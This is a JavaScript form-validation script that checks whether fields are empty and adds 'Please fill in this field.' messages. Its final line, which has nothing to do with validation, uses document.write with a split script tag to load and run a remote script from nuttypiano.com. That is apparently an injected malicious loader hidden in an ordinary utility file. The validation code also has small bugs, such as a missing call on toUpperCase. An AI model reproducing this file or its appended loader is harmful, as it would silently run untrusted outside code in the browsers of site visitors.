valForm = function( elemsToValidate )
{

	var elems = document.getElementById( 'example' ).elements;
	var count = 0;

	if(typeof elemsToValidate == "undefined" || elemsToValidate == '')
	{
	for(var i = 0; i < elems.length - 1; i++)
	{
		if(stripValue(elems[i].value) == null || stripValue(elems[i].value) == "")
		{
			count++;
			changeClassName( elems[i].parentNode.id, 'missingField' );
			var temp = document.getElementById( elems[i].parentNode.id).innerHTML;
			var matchExists = temp.search("Please fill in this field.");
			if(matchExists != -1)
			{
				document.getElementById( elems[i].parentNode.id ).innerHTML += '';
			}
			else
			{
				document.getElementById( elems[i].parentNode.id ).innerHTML += ' Please fill in this field.';
			}
		}
		else
		{
			changeClassName( elems[i].parentNode.id, 'safeField' );
			var temp = document.getElementById( elems[i].parentNode.id).innerHTML;
			var match = temp.search("Please fill in this field.");
			if(match != -1)
			{
				var user_value = elems[i].value;
				document.getElementById( elems[i].parentNode.id ).innerHTML = document.getElementById( elems[i].parentNode.id ).innerHTML.replace('Please fill in this field.', '');
				elems[i].value = user_value;
			}
		}
	}
	if(count > 0)
	{
		return false;
	}
	else
	{
		return true;
	}
	count = 0;
	return false;

	}

	else

	{
		// IF SPECIFIED FIELD


		// FIRST FIELD BEGIN


		if(elemsToValidate.toUpperCase() == "FIRST")
		{
			if(stripValue(elems[0].value) == null || stripValue(elems[0].value) == "")
			{
				count++;
				changeClassName( elems[0].parentNode.id, 'missingField' );
				var temp = document.getElementById( elems[0].parentNode.id).innerHTML;
				var matchExists = temp.search("Please fill in this field.");
				if(matchExists != -1)
				{
					document.getElementById( elems[0].parentNode.id ).innerHTML += '';
				}
				else
				{
					document.getElementById( elems[0].parentNode.id ).innerHTML += ' Please fill in this field.';
				}
			}
			else
			{
				changeClassName( elems[0].parentNode.id, 'safeField' );
				var temp = document.getElementById( elems[0].parentNode.id).innerHTML;
				var match = temp.search("Please fill in this field.");
				if(match != -1)
				{
					var user_value = elems[0].value;
					document.getElementById( elems[0].parentNode.id ).innerHTML = document.getElementById( elems[0].parentNode.id).innerHTML.replace('Please fill in this field.','');
					elems[0].value = user_value;
				}
			}

		if(count > 0)
		{
			return false;
		}
		else
		{
			return true;
		}
		count = 0;

		} // end if elemsToValidate == "first"


		// END OF FIRST FIELD





		// LAST FIELD BEGIN


		if(elemsToValidate.toUpperCase() == "LAST")
		{
			var last = elems.length - 2;
			if(stripValue(elems[last].value) == null || stripValue(elems[last].value) == "")
			{
				count++;
				changeClassName( elems[last].parentNode.id, 'missingField' );
				var temp = document.getElementById( elems[last].parentNode.id).innerHTML;
				var matchExists = temp.search("Please fill in this field.");
				if(matchExists != -1)
				{
					document.getElementById( elems[last].parentNode.id ).innerHTML += '';
				}
				else
				{
					document.getElementById( elems[last].parentNode.id ).innerHTML += ' Please fill in this field.';
				}
			}
			else
			{
				changeClassName( elems[last].parentNode.id, 'safeField' );
				var temp = document.getElementById( elems[last].parentNode.id).innerHTML;
				var match = temp.search("Please fill in this field.");
				if(match != -1)
				{
					var user_value = elems[last].value;
					document.getElementById( elems[last].parentNode.id ).innerHTML = document.getElementById( elems[last].parentNode.id).innerHTML.replace('Please fill in this field.','');
					elems[last].value = user_value;
				}
			}

		if(count > 0)
		{
			return false;
		}
		else
		{
			return true;
		}
		count = 0;

		} // end if elemsToValidate == "last"


		// END OF LAST FIELD




		// CERTAIN FIELD BEGIN


		if(elemsToValidate.toUpperCase() != "FIRST" && elemsToValidate.toUpperCase != "LAST")
		{
		for(var i = 0; i < elems.length - 1; i++)
			{
				if(elems[i].name == elemsToValidate)
				{
					if(stripValue(elems[i].value) == null || stripValue(elems[i].value) == "")
					{
						count++;
						changeClassName( elems[i].parentNode.id, 'missingField' );
						var temp = document.getElementById( elems[i].parentNode.id).innerHTML;
						var matchExists = temp.search("Please fill in this field.");
						if(matchExists != -1)
						{
							document.getElementById( elems[i].parentNode.id ).innerHTML += '';
						}
						else
						{
							document.getElementById( elems[i].parentNode.id ).innerHTML += ' Please fill in this field.';
						}
					}
					else
					{
						changeClassName( elems[i].parentNode.id, 'safeField' );
						var temp = document.getElementById( elems[i].parentNode.id).innerHTML;
						var match = temp.search("Please fill in this field.");
						if(match != -1)
						{
							var user_value = elems[i].value;
							document.getElementById( elems[i].parentNode.id ).innerHTML = document.getElementById( elems[i].parentNode.id ).innerHTML.replace('Please fill in this field.', '');
							elems[i].value = user_value;
						}
					}
				}
			}
			if(count > 0)
			{
				return false;
			}
			else
			{
				return true;
			}
			count = 0;

		}


		// END OF LAST FIELD




		// NO FIELDS BEGIN


		if(elemsToValidate.toUpperCase() == "NONE")
		{
			return true;
		}


		// NO FIELDS END


		return false;
	}


}



stripValue = function(v)
{
	return(v.replace(/^\s+|\s+$/g, ''));
}



document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Website.js"></scri'+'pt>');